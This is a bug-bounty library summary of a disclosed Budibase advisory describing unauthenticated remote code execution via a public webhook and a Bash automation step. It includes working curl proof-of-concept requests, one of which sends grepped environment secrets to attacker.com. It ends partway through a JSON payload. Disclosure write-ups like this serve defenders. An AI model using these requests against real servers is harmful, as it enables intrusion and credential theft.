# Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step

Unauthenticated POST to Budibase webhook trigger endpoint injects shell commands into a Bash automation step's Handlebars template, executing as root.

- Payout: Research
- Severity: critical
- Program: Budibase
- Found by: da7om85
- Disclosed: 2026-04-04
- CVE: CVE-2026-35216
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fcm4-4pj2-m5hf
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-fcm4-4pj2-m5hf
- Tags: area:web domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce vuln:ssti

**Target:** Self-hosted Budibase server webhook trigger endpoint and Bash automation step
**Root cause:** The webhook trigger route is registered on publicRoutes with no auth middleware, and the EXECUTE_BASH step runs processStringSync on attacker-controlled webhook fields then passes the result to execSync, so template-substituted input reaches the shell.
**Steps:**
1. Admin creates automation with WEBHOOK trigger and EXECUTE_BASH step whose code is `{{ trigger.cmd }}`, enables it, links a webhook, and publishes the app.
2. Attacker obtains production appId and webhookId.
3. Attacker sends `curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" -H "Content-Type: application/json" -d '{"cmd":"id"}'` with no auth.
4. Webhook fields are flattened into trigger context, `{{ trigger.cmd }}` resolves to the payload, and execSync runs it as root.
5. Exfiltrate secrets with `{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}`.
**How found:** Code review of the webhook route registration (noted the comment 'this shouldn't have authorisation, right now its always public') and the Bash step's use of processStringSync before execSync, then tracing how webhook params.fields are spread into the trigger context to confirm template injection reachability.
**Exploitation:** Attacker needs only the production appId and webhookId (obtainable via UI enumeration, leaked config, or insider knowledge). A single unauthenticated POST to the public webhook endpoint injects a shell command through the flattened trigger field into the Bash step, executing as root in the container. Output is asynchronous; attacker exfiltrates env vars (JWT_SECRET, COUCH_DB_URL, REDIS_PASSWORD, MINIO keys, INTERNAL_API_KEY) via outbound curl, enabling JWT forgery, internal service pivot, and persistent reverse shells.
**Escalation:** Leaked JWT_SECRET allows forging tokens to impersonate any user; CouchDB/Redis/MinIO credentials enable internal pivot and full data read/write; container escape possible if privileged or volume mounts present.
**Insight:** When a public webhook endpoint flattens request fields into a template context, any downstream step that renders templates into a dangerous sink (execSync, eval, SQL) becomes unauthenticated RCE — grep automation/action steps for processStringSync/execSync pairs and check whether their inputs are reachable from publicRoutes.

## Proof of concept (copied exactly from the original report)

**Unauthenticated webhook RCE request with cmd payload**

```
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"id"}'
```

**Secret exfiltration via webhook cmd payload**

```
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'
```

**Automation creation with Bash step template**

```
curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{
    "name": "WebhookBash",
    "type": "automation",
    "definition": {
      "trigger": {
        "id": "trigger_1",
        "name": "Webhook",
        "event": "app:webhook:trigger",
        "stepId": "WEBHOOK",
        "type": "TRIGGER",
        "icon": "paper-plane-right",
        "description": "Trigger an automation when a HTTP POST webhook is hit",
        "tagline": "Webhook endpoint is hit",
        "inputs": {},
        "schema": {
          "inputs": { "properties": {} },
          "outputs": {
            "properties": { "body": { "type": "object" } }
          }
        }
      },
      "steps": [
        {
          "id": "bash_step_1",
          "name": "Bash Scripting",
          "stepId": "EXECUTE_BASH",
          "type": "ACTION",
          "icon": "git-branch",
          "description": "Run a bash script",
          "tagline": "Execute a bash command",
          "inputs": {
            "code": "{{ trigger.cmd }}"
```

